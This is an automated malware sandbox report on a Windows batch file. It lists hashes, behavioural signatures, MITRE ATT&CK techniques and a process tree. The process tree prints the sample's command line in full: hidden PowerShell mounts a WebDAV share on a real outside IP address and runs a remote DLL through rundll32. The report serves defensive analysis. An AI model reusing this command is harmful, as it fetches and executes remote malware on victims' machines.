bfc092b384976e97153bae0e29359461bfd65fce5ad8188d6460de57bc680eaf

Analysis

max time kernel
100s
max time network
98s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15-07-2024 08:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1/c8e5a24a6d2fa68d7976457a19576b381e6211202500af5280b0f3b256446bf5.bat
Size

2KB
MD5

5617370486b7ded0ad8cf5ca9fc69e06
SHA1

3baa1dab061a9cb6a329dc72e3e35fa3829341fa
SHA256

c8e5a24a6d2fa68d7976457a19576b381e6211202500af5280b0f3b256446bf5
SHA512

a4a5d99cf5d1b3bed3819f24d297f5283107880d5c51010a11aed2d5f4545d9f52c648fcbc3f6d884f71d1cc1217a67dbae722cfc36baa65d4ca0e0948163772

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4928	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4928	powershell.exe
4928	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4928	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4480	wordpad.exe
4480	wordpad.exe
4480	wordpad.exe
4480	wordpad.exe
4480	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3932 wrote to memory of 4480	3932	cmd.exe	87
PID 3932 wrote to memory of 4480	3932	cmd.exe	87
PID 3932 wrote to memory of 4928	3932	cmd.exe	89
PID 3932 wrote to memory of 4928	3932	cmd.exe	89
PID 4928 wrote to memory of 3964	4928	powershell.exe	91
PID 4928 wrote to memory of 3964	4928	powershell.exe	91
PID 4928 wrote to memory of 4252	4928	powershell.exe	92
PID 4928 wrote to memory of 4252	4928	powershell.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1\c8e5a24a6d2fa68d7976457a19576b381e6211202500af5280b0f3b256446bf5.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3932
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\426.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4928
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:3964
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\426.dll,entry
    3⤵
    PID:4252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_usrshan5.vqy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4928-0-0x000001A33AF80000-0x000001A33AFA2000-memory.dmp

Filesize
136KB

Download